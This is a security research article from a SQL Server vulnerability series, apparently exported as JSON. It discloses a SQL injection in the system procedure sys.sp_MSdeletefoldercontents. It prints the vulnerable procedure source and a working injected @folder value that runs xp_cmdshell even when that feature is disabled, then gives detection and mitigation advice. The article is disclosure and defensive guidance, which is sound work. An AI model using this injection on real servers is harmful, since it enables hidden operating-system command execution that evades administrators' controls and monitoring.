{"id":112672,"date":"2026-09-14T12:00:00","date_gmt":"2026-09-14T12:00:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=112672"},"modified":"2026-09-09T08:39:37","modified_gmt":"2026-09-09T08:39:37","slug":"how-a-microsoft-signed-sql-server-stored-procedure-lets-sysadmins-bypass-disabled-xp_cmdshell","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/how-a-microsoft-signed-sql-server-stored-procedure-lets-sysadmins-bypass-disabled-xp_cmdshell\/","title":{"rendered":"How a Microsoft-signed SQL Server stored procedure lets sysadmins bypass disabled xp_cmdshell"},"content":{"rendered":"\n<p><strong>SQL injection inside Microsoft-signed system stored procedures is <em>not<\/em> supposed to happen. Yet, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/sql-server-security-vulnerabilities-you-werent-aware-of\/\" target=\"_blank\" rel=\"noreferrer noopener\">as I&#8217;ve been documenting in this series<\/a>, it happens more often than you may assume.<\/strong><\/p>\n\n\n\n<p><strong>This article walks through another one I found and reported to the <a href=\"https:\/\/www.microsoft.com\/en-us\/msrc\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Security Response Center (MSRC)<\/a>. It&#8217;s a textbook SQL injection sitting inside <code>sys.sp_MSdeletefoldercontents<\/code>, a system <a href=\"https:\/\/www.red-gate.com\/simple-talk\/other\/for-the-love-of-stored-procedures\/\" target=\"_blank\" rel=\"noreferrer noopener\">stored procedure<\/a> used by SQL Server replication. <\/strong><\/p>\n\n\n\n<p><strong>What makes it interesting is not the injection technique itself (there is no <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/exposing-a-sql-injection-vulnerability-youve-never-heard-of-what-it-is-how-it-works-and-key-takeaways\/\" target=\"_blank\" rel=\"noreferrer noopener\">clever Unicode trick<\/a> this time), but what it enables: a working execution path for <code>xp_cmdshell<\/code> on a server where <code>xp_cmdshell<\/code> is <em>explicitly disabled<\/em> by configuration.<\/strong><\/p>\n\n\n\n<p><em>This article is part of Fabiano Amorim\u2019s&nbsp;<\/em><a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/sql-server-security-vulnerabilities-you-werent-aware-of\/\" target=\"_blank\" rel=\"noreferrer noopener\"><em>series on SQL Server vulnerabilities you may not be aware of<\/em><\/a><em>.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-introducing-the-vulnerability-and-some-background\">Introducing the vulnerability (and some background)<\/h2>\n\n\n\n<p>Disabling <code><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/database-engine\/configure-windows\/xp-cmdshell-server-configuration-option?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">xp_cmdshell<\/a><\/code> is one of the most familiar <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/sql-server-security-primer\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server security<\/a> recommendations. Microsoft disables it by default on new installations, security baselines routinely check that its configuration value is zero, and many teams alert whenever someone enables it. <\/p>\n\n\n\n<p>The underlying assumption is simple: <strong>if <code>xp_cmdshell<\/code> is disabled, operating-system commands cannot be executed through it until somebody explicitly changes the configuration.<\/strong><\/p>\n\n\n\n<p>The vulnerability in this article challenges that assumption. The internal procedure accepts a folder path, concatenates that value into a dynamically-generated <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">T-SQL<\/a> batch, and executes the batch with <code>sp_executesql<\/code>. <\/p>\n\n\n\n<p>Because the folder value is not <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/performance-implications-of-parameterized-queries\/\" target=\"_blank\" rel=\"noreferrer noopener\">parameterized<\/a> or safely escaped, however, a caller can terminate the intended string literal and append arbitrary T-SQL.<\/p>\n\n\n\n<p>While a direct call to <code>xp_cmdshell<\/code> fails with the expected <em>&#8216;component is turned off&#8217;<\/em> error, it&#8217;s a different situation entirely when injected into <code>sys.sp_MSdeletefoldercontents<\/code>. <\/p>\n\n\n\n<p>There, the exact same <code>xp_cmdshell<\/code> call succeeds <em>without<\/em> an explicit <code>sp_configure<\/code>\/<code>reconfigure<\/code>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-why-this-is-not-just-a-privilege-escalation-vulnerability\">Why this is not just a privilege escalation vulnerability<\/h3>\n\n\n\n<p>This is not a <a href=\"https:\/\/www.red-gate.com\/simple-talk\/data-security-privacy-compliance\/sql-server-privilege-escalation-via-replication-jobs\/\" target=\"_blank\" rel=\"noreferrer noopener\">privilege escalation vulnerability<\/a> from a normal database user to <code><a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-security-fixed-server-and-database-roles\/#fixed-server-roles:~:text=sysadmin\" target=\"_blank\" rel=\"noreferrer noopener\">sysadmin<\/a><\/code>. The procedure itself checks for <code>sysadmin<\/code> membership, so the prerequisite is already highly privileged. <\/p>\n\n\n\n<p>Instead, the security relevance is different: it creates <strong>an alternate execution path around a configuration control that administrators, auditors, and detection systems may treat as authoritative<\/strong>.<\/p>\n\n\n\n<div id=\"callout-block_e3be1dbc9cf7f571d55a40f47b1c8a27\" class=\"callout alignnone\">\n    <div class=\"child-last:mb-0 child-first:mt-0 bg-gray-50 dark:bg-gray-950 p-4xl my-3xl\">\n\n<p><strong>Technical scope<\/strong><\/p>\n\n\n\n<p>The supplied proof of concept requires a login that is already a member of the <code>sysadmin<\/code> fixed server role. This article does <em>not<\/em> claim a lower-privileged user can exploit this path. The issue demonstrated here is a SQL injection and security-control bypass: a <code>sysadmin<\/code> session can reach <code>xp_cmdshell<\/code> through <code>sys.sp_MSdeletefoldercontents<\/code> even when a direct <code>xp_cmdshell<\/code> call is blocked because the feature is disabled.<\/p>\n\n<\/div>\n<\/div> \n\n\n<div id=\"callout-block_e3be1dbc9cf7f571d55a40f47b1c8a27\" class=\"callout alignnone\">\n    <div class=\"child-last:mb-0 child-first:mt-0 bg-gray-50 dark:bg-gray-950 p-4xl my-3xl\">\n\n<p><strong>Disclosure note<\/strong><\/p>\n\n\n\n<p>I reported this vulnerability to the Microsoft Security Response Center on March 25, 2026. Microsoft investigated it, classified it as a low-severity \u201cdefense-in-depth\u201d issue (MSRC Case 111384), and stated that it did not meet the bar for immediate service. That classification does not mean you should ignore it.<\/p>\n\n<\/div>\n<\/div> \n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-sys-sp-msdeletefoldercontents\">What is <code>sys.sp_MSdeletefoldercontents<\/code>?<\/h2>\n\n\n\n<p><strong><code>sys.sp_MSdeletefoldercontents<\/code> is an internal system stored procedure used to remove a collection of replication-related files from a supplied folder. <\/strong><\/p>\n\n\n\n<p>The procedure contains an explicit security check: if the current login is <em>not<\/em> a member of the <code>sysadmin<\/code> fixed server role, it raises error 21089 and returns. <\/p>\n\n\n\n<p>And, since the exploitation of the supplied path begins from <code>sysadmin<\/code> rather than a less-privileged <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-security-fixed-server-and-database-roles\/\" target=\"_blank\" rel=\"noreferrer noopener\">database role<\/a>, this is important.<\/p>\n\n\n\n<p>Here&#8217;s the relevant security check:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">-- Security check inside sys.sp_MSdeletefoldercontents\nif (isnull(is_srvrolemember('sysadmin'),0) = 0)\nbegin\n    raiserror(21089, 16, -1)\n    return (1)\nend<\/pre><\/div>\n\n\n\n<p>If that were the end of the story, the procedure would simply be a privileged housekeeping routine. Instead, a problem appears when <code>@folder<\/code> is copied directly into executable SQL text.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The vulnerable dynamic SQL<\/h3>\n\n\n\n<p>Let&#8217;s take a look at the procedure code &#8211; the vulnerable construction pattern at <code>@command<\/code> concatenation:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">create procedure sys.sp_MSdeletefoldercontents \n(\n\t@folder nvarchar(255)\n)\nas\nbegin\n\tset nocount on\n\n\tdeclare @command_prefix nvarchar(4000)\n\tdeclare @command nvarchar(4000)\n\tdeclare @retcode int\n\tdeclare @pathSeparator nvarchar(2)\n\t\n\tselect @pathSeparator = CAST(SERVERPROPERTY('pathseparator') as nvarchar(2))\n\n\t--\n\t-- security check\n\t-- only sysadmin can execute this\n\t--\n\tif (isnull(is_srvrolemember('sysadmin'),0) = 0) \n\tbegin\n\t\traiserror(21089, 16, -1)\n\t\treturn (1)\n\tend\n\tselect @retcode = 0\n\tif len(@folder) = 0 or @folder is null\n\tbegin\n\t\treturn 0\n\tend\n\n\t-- \\ terminate path\n\tif substring(@folder, len(@folder), 1) &lt;&gt; @pathSeparator\n\tbegin\n\t\tselect @folder = @folder + @pathSeparator\n\tend \n\n\tselect @command = N'exec @retcode = xp_delete_files N''' +\n          @folder + N'sysmergesubsetfilters*.sch' + N''', N''' +\n          @folder + N'sysmergesubsetfilters*.bcp' + N''', N''' +\n          @folder + N'*_*.sch' + N''', N''' +\n          @folder + N'*_*.bcp' + N''', N''' +\n          @folder + N'*_*.idx' + N''', N''' +\n          @folder + N'*_*.sql' + N''', N''' +\n          @folder + N'*_*.ftx' + N''', N''' +\n          @folder + N'*_*.pre' + N''', N''' +\n          @folder + N'snapshot.cab' + N''', N''' +\n          @folder + N'dynsnapvalidation.tok' + N''', N''' +\n          @folder + N'snapshot.pre' + N''', N''' +\n          @folder + N'*_*.trg' + N''', N''' +\n          @folder + N'*_*.xpp' + N''', N''' +\n          @folder + N'*_*.cft' + N''', N''' +\n          @folder + N'*_*.dri' + N''', N''' +\n          @folder + N'*_*.prc' + N''''\n\n\tbegin try\n\t\texec sp_executesql @command, N'@retcode int OUTPUT', @retcode OUTPUT\n\tend try\n\tbegin catch\n\t\tset @retcode = 1\n\tend catch\n\n\treturn @retcode\n\nend<\/pre><\/div>\n\n\n\n<p>There is a <code>sysadmin<\/code> guard at the top, but what comes after that is the interesting part: the procedure builds a dynamic T-SQL command <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/find-and-replace-text-in-strings-in-t-sql\/\" target=\"_blank\" rel=\"noreferrer noopener\">string<\/a> by concatenating <code>@folder<\/code> (the user-supplied <code>nvarchar(255)<\/code> parameter.)<\/p>\n\n\n\n<p>In other words, this is the dangerous pattern:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SET @command = N'...''' + @folder + N'...';\nEXEC sp_executesql @command;\n<\/pre><\/div>\n\n\n\n<p>It&#8217;s the textbook definition of SQL injection, whereby the procedure trusts <code>@folder<\/code> without validation. If a caller passes a value containing an apostrophe, it closes the string literal early, and everything after that apostrophe is interpreted as T-SQL &#8211; not data.<\/p>\n\n\n\n<p>The injected code then runs through <code>sp_executesql<\/code> &#8211; inheriting the procedure&#8217;s own security context rather than the caller&#8217;s.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-sysadmin-catch-and-why-it-still-matters\">The <code>sysadmin<\/code> catch (and why it still matters)<\/h2>\n\n\n\n<p>Before we jump to the proof of concept, let&#8217;s confront the objection head-on, because Microsoft did.<\/p>\n\n\n\n<p>The procedure explicitly checks <code>is_srvrolemember('sysadmin')<\/code> and refuses to run for anyone else. This is why MSRC classified this as a low-severity, defense-in-depth issue rather than a privilege escalation vulnerability. <\/p>\n\n\n\n<p>From MSRC (Case 111384):<\/p>\n\n\n\n<p><em>After careful investigation, this case has been assessed as a low severity, defense-in-depth item, and does not meet MSRC&#8217;s bar for immediate servicing due to <code>sys.sp_MSdeletefoldercontents<\/code> requiring <code>sysadmin<\/code> privileges.<\/em><\/p>\n\n\n\n<p>The obvious counterargument is fair: a member of <code>sysadmin<\/code> already controls SQL Server. A <code>sysadmin<\/code> can usually enable <code>xp_cmdshell<\/code>, execute a command, and disable it again.<\/p>\n\n\n\n<p><strong>But that just prompts the question: <em>why should we care if the attacker is already <code>sysadmin<\/code>?<\/em><\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-what-an-attacker-can-and-will-do-once-they-ve-obtained-sysadmin\">What an attacker can (and will) do once they&#8217;ve obtained <code>sysadmin<\/code><\/h3>\n\n\n\n<p>Well, privilege is only one part of the security equation. Visibility is another. Obtaining <code>sysadmin<\/code> is not often the end of the intrusion during a real attack &#8211; rather, it&#8217;s when the attacker begins their &#8216;post-exploitation activities.&#8217;<\/p>\n\n\n\n<p>These activities include collecting information, accessing credentials and sensitive data, moving laterally, establishing persistence, and\/or executing operating-system commands.<\/p>\n\n\n\n<p>This is where techniques such as this one become valuable. From the attacker&#8217;s perspective, they are gaining from the &#8216;evasion&#8217; element, not the privilege escalation itself.<\/p>\n\n\n\n<p>In my own SQL Server security research, once I obtain <code>sysadmin<\/code>, one of the next steps is frequently to test operating-system <a href=\"https:\/\/www.ibm.com\/docs\/en\/zos\/3.1.0?topic=shell-command-execution\" target=\"_blank\" rel=\"noreferrer noopener\">command execution<\/a>. I&#8217;ve used this technique extensively to reach <code>xp_cmdshell<\/code> <em>without<\/em> having to perform the configuration change that defenders commonly expect to see. <\/p>\n\n\n\n<p>In fact, I&#8217;ve never seen anyone monitoring for <code>sp_MSdeletefoldercontents<\/code> in my time. After all, it&#8217;s a Microsoft-owned procedure, so it must be safe! Why should they monitor for it?<\/p>\n\n\n\n<p>Instead, focus goes toward controlling <code>xp_cmdshell<\/code> activity using common security best practices like <a href=\"https:\/\/www.red-gate.com\/blog\/database-monitoring-and-security-go-hand-in-hand\/\" target=\"_blank\" rel=\"noreferrer noopener\">monitoring<\/a>, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/the-complete-guide-to-auditing-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">audit<\/a>, alert setup, etc.<\/p>\n\n\n\n<section id=\"my-first-block-block_f0314119cfd7ac2f3e022f5b7df2e5b5\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Future-proof database monitoring with Redgate Monitor<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Multi-platform database observability for your entire estate. Optimize performance, ensure security, and mitigate potential risks with fast deep-dive analysis, intelligent alerting, and AI-powered insights.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/products\/redgate-monitor\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Learn more &amp; try for free: Future-proof database monitoring with Redgate Monitor\">Learn more &amp; try for free<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-vulnerability-in-action-and-how-to-recreate-it\">The vulnerability in action (and how to recreate it)<\/h2>\n\n\n\n<p>Here&#8217;s the full vulnerability in action, and a step-by-step guide on how to recreate it.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 1: confirm direct <code>xp_cmdshell<\/code> execution is blocked<\/h3>\n\n\n\n<p>Start with <code>xp_cmdshell<\/code> <em>disabled<\/em>, then invoke it directly:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">EXEC xp_cmdshell 'dir c:\\';\nGO\nResult:\nMsg 15281, Level 16, State 1, Procedure xp_cmdshell, Line 1\nSQL Server blocked access to procedure 'sys.xp_cmdshell' of component\n'xp_cmdshell' because this component is turned off as part of the\nsecurity configuration for this server. A system administrator can\nenable the use of 'xp_cmdshell' by using sp_configure. For more\ninformation about enabling 'xp_cmdshell', search for 'xp_cmdshell'\nin SQL Server Books Online.<\/pre><\/div>\n\n\n\n<p>This is exactly the message any hardened server should return, and exactly what an auditor expects to see.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 2: invoke <code>xp_cmdshell<\/code> through the injection<\/h3>\n\n\n\n<p>Next, call <code>sys.sp_MSdeletefoldercontents<\/code> and place the <code>xp_cmdshell<\/code> statement inside <code>@folder<\/code>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">USE master;\nGO\n\nEXEC sys.sp_MSdeletefoldercontents\n    @folder = 'C:\\temp\\''; EXEC xp_cmdshell ''whoami''--';\nGO\n\nResult:\n--------------------------------------------------------------------\nComputer1\\administrator<\/pre><\/div>\n\n\n\n<p>There it is. <code>xp_cmdshell<\/code> executed, and <code>whoami<\/code> returned the SQL Server service account.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Step 3: prove the primitive is general T-SQL injection<\/h3>\n\n\n\n<p>The report also uses a harmless <code>SELECT<\/code> payload to show that the primitive is <em>not<\/em> specific to <code>xp_cmdshell<\/code>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">EXEC sys.sp_MSdeletefoldercontents\n    @folder = 'C:\\temp\\''; SELECT @@Version AS v;--';\nGO<\/pre><\/div>\n\n\n\n<p>That query returns the SQL Server version string, useful because it isolates the core defect in which arbitrary T-SQL can be appended to the dynamically-generated batch. <code>xp_cmdshell<\/code> is simply the most security-relevant demonstration of the resulting control bypass.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-and-how-does-this-bypass-the-xp-cmdshell-disable\">Why, and how, does this bypass the <code>xp_cmdshell<\/code> disable?<\/h2>\n\n\n\n<p>When <code>sys.sp_MSdeletefoldercontents<\/code> calls <code>sp_executesql<\/code>, the batch runs inside the execution context of the system procedure, which is a Microsoft-signed object living in the <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/system-catalog-views\/schemas-catalog-views-sys-schemas?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\"><code>sys<\/code> schema<\/a>. Along that path, the <a href=\"https:\/\/www.red-gate.com\/simple-talk\/devops\/software-delivery-devops-2\/database-feature-toggles\/#:~:text=simplest%20type%20of-,%E2%80%98feature%20switch%E2%80%99,-merely%20determines%20whether\" target=\"_blank\" rel=\"noreferrer noopener\">feature-switch<\/a> check for <code>xp_cmdshell<\/code> is not enforced the same way it is for a direct call from a user session.<\/p>\n\n\n\n<p>Overall, <code>sysadmin<\/code> being able to run arbitrary T-SQL is not the problem. However, <code>sysadmin<\/code> being able to run <code>xp_cmdshell<\/code> through a Microsoft-signed system procedure, without ever asking <code>sp_configure<\/code> for permission or leaving a &#8220;feature enabled&#8221; event behind, <em>is<\/em> most definitely a problem.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-can-you-do-to-prevent-the-vulnerability\">What can you do to prevent the vulnerability?<\/h2>\n\n\n\n<p>Since the supplied exploit requires <code>sysadmin<\/code>, the most important defensive control is still strict control of <code>sysadmin<\/code> membership. <\/p>\n\n\n\n<p>This finding shouldn&#8217;t be interpreted as a reason to re-enable <code>xp_cmdshell<\/code> &#8211; rather, it&#8217;s reason to avoid treating the disabled <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/learn\/how-to-enable-sql-server-trace-flags\/\" target=\"_blank\" rel=\"noreferrer noopener\">flag<\/a> as the only relevant control.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"h-here-s-everything-you-can-do-to-prevent-the-vulnerability\">Here&#8217;s everything you can do to prevent the vulnerability:<\/h4>\n\n\n<div class=\"block-core-list\">\n<ol class=\"wp-block-list\">\n<li><strong>Keep <code>sysadmin<\/code> membership extremely small.<\/strong> Review permanent human accounts, service accounts, and automation identities that hold the role.<br><br><\/li>\n\n\n\n<li><strong>Continue to keep <code>xp_cmdshell<\/code> disabled <em>unless<\/em> there&#8217;s a documented operational need.<\/strong> Microsoft still recommends this.<br><br><\/li>\n\n\n\n<li><strong>Monitor for calls to <code>sys.sp_MSdeletefoldercontents<\/code> outside expected replication workflows<\/strong> &#8211; especially those containing quote characters, semicolons, comment markers, or other values that don&#8217;t resemble normal <code>filesystem<\/code> paths.<br><br><\/li>\n\n\n\n<li><strong>Do <em>not<\/em> exclusively depend on alerts for <code>sp_configure<\/code> <code>'xp_cmdshell'<\/code><\/strong>. <span style=\"font-size: 1rem;\">Monitor the SQL Server service account at the operating-system layer. Process creation and command-shell telemetry can detect OS execution even when the SQL-side invocation is indirect. <\/span><br><br><\/li>\n\n\n\n<li><span style=\"font-size: 1rem;\"><strong>Alert on actual <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/procthread\/child-processes\" target=\"_blank\" rel=\"noreferrer noopener\">child process<\/a> creation by the SQL Server service<\/strong> and on <strong>suspicious use of extended procedures<\/strong>.<\/span> <strong>The most valuable detection strategy is to correlate SQL activity with host process creation.<\/strong><br><br><\/li>\n\n\n\n<li><strong>If you don&#8217;t use <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/replication\/sql-server-replication?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">replication<\/a>, deny explicit execute on the procedure.<\/strong> <code>sp_MSdeletefoldercontents<\/code> is a replication-facing procedure. On instances where replication is not configured and never will be, an explicit <code>DENY EXECUTE ON sys.sp_MSdeletefoldercontents TO public;<\/code> gives you one more small barrier. It won&#8217;t stop a determined <code>sysadmin<\/code> (they can <code>GRANT<\/code> it back), but it&#8217;ll show up in an audit trail if someone tries!<\/li>\n<\/ol>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-in-summary-the-sys-sp-msdeletefoldercontents-vulnerability-in-sql-server\">In summary: the <code>sys.sp_MSdeletefoldercontents<\/code> vulnerability in SQL Server<\/h2>\n\n\n\n<p><strong>The vulnerability in SQL Server <code>sys.sp_MSdeletefoldercontents<\/code> is easy to understand once the generated SQL is visible. Essentially, <code>@folder<\/code> is inserted directly into a dynamic <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/t-sql-programming-sql-server\/optimizing-batch-process-in-sql-server\/\" target=\"_blank\" rel=\"noreferrer noopener\">batch<\/a>, so a crafted folder string can escape the intended <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/system-functions\/pathname-transact-sql?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">pathname<\/a> literal and append arbitrary T-SQL.<\/strong><\/p>\n\n\n\n<p><strong>What makes the finding interesting is the behavior demonstrated with <code>xp_cmdshell<\/code>. The direct call is rejected because the feature is disabled, yet the injected call through the internal procedure succeeds.<\/strong><\/p>\n\n\n\n<p><strong>The fix for SQL Server developers: never concatenate caller-controlled text into executable SQL when it can be passed as data.<\/strong> <\/p>\n\n\n\n<p><strong>For SQL Server administrators, it&#8217;s similar but not the same. Keep <code>xp_cmdshell<\/code> disabled if possible, and do <em>not<\/em> treat that single setting as proof that operating-system command execution is impossible. <\/strong><\/p>\n\n\n\n<p>After all, if an attacker wants to run a <a href=\"https:\/\/www.geeksforgeeks.org\/linux-unix\/shell-scripting-talk-command\/\" target=\"_blank\" rel=\"noreferrer noopener\">shell command<\/a>, it has several options, including: <a href=\"https:\/\/www.red-gate.com\/simple-talk\/sysadmin\/powershell\/sql-server-and-undocumented-extended-procedures\/\" target=\"_blank\" rel=\"noreferrer noopener\">extended procedures<\/a>, <a href=\"https:\/\/en.wikipedia.org\/wiki\/OLE_Automation\" target=\"_blank\" rel=\"noreferrer noopener\">OLE Automation<\/a>, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/setting-up-your-sql-server-agent-correctly\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Agent<\/a> jobs, <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/clr-integration\/common-language-runtime-integration-overview?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">common language runtime (CLR)<\/a>, and external scripts. <\/p>\n\n\n\n<p><strong>Finally, enforcing auditing, monitoring, and alerting, is <em>always<\/em> important.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">References<\/h3>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/system-stored-procedures\/xp-cmdshell-transact-sql?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn &#8211; xp_cmdshell (Transact-SQL)<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/database-engine\/configure-windows\/xp-cmdshell-server-configuration-option?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">Microsoft Learn &#8211; Server Configuration: xp_cmdshell<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/www.red-gate.com\/simple-talk\/collections\/sql-server-security-vulnerabilities-you-werent-aware-of\/\" target=\"_blank\" rel=\"noreferrer noopener\">Simple Talk &#8211; SQL Server security vulnerabilities you weren&#8217;t aware of<\/a><\/li>\n<\/ul>\n<\/div>\n\n\n<section id=\"my-first-block-block_535471bced6c609bcdd1d716df978f53\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Move fast. Govern at scale.<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Redgate Flyway Enterprise embeds guardrails in the database layer, so every change is policy-checked, deterministic, and traceable.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/products\/flyway\/enterprise\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Try for free: Move fast. Govern at scale.\">Try for free<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: The sys.sp_MSdeletefoldercontents vulnerability in SQL Server<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. What is the vulnerability in sys.sp_MSdeletefoldercontents?<\/h3>\n            <div class=\"faq-answer\">\n                <p dir=\"ltr\">It&#8217;s a SQL injection flaw where the <code>@folder<\/code> parameter is concatenated directly into a dynamic SQL batch without parameterization, allowing an attacker to break out of the intended string and inject arbitrary T-SQL.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. Does this let a non-admin user gain sysadmin access?<\/h3>\n            <div class=\"faq-answer\">\n                <p>No. The procedure requires the caller to already be a <code>sysadmin<\/code>, so it&#8217;s not a privilege escalation bug. Its significance is that it lets an already-privileged user bypass a security <em>control<\/em> (the <code>xp_cmdshell<\/code> disable flag) rather than gain new privileges.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. Why does xp_cmdshell run here if it&#039;s disabled server-wide?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Because the injected command executes inside the security context of the Microsoft-signed system procedure via <code>sp_executesql<\/code>, the feature-switch check that blocks direct <code>xp_cmdshell<\/code> calls from a user session isn&#8217;t enforced the same way along that internal execution path.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. How did Microsoft respond to this report?<\/h3>\n            <div class=\"faq-answer\">\n                <p>MSRC investigated and classified it as a low-severity &#8220;defense-in-depth&#8221; issue (Case 111384), stating it didn&#8217;t meet the bar for immediate servicing since <code>sysadmin<\/code> privileges are a prerequisite.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. If sysadmin can already do anything, why does this matter?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Because privilege and visibility are separate concerns. This path lets a <code>sysadmin<\/code> reach OS command execution without ever triggering an <code>sp_configure<\/code> change or a &#8220;feature enabled&#8221; event \u2014 the exact signal most detection setups rely on to catch <code>xp_cmdshell<\/code> abuse.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">6. How can organizations detect or mitigate this?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Keep <code>sysadmin<\/code> membership minimal, monitor calls to <code>sys.sp_MSdeletefoldercontents<\/code> for anomalous input (quotes, semicolons, comment markers), correlate SQL activity with OS-level process creation on the service account, and consider denying execute on the procedure if replication isn&#8217;t in use.<\/p>\n            <\/div>\n            <\/section>\n","protected":false},"excerpt":{"rendered":"<p>Discover how a Microsoft-signed system procedure bypasses SQL Server&#8217;s disabled xp_cmdshell setting &#8211; plus detection and mitigation steps for 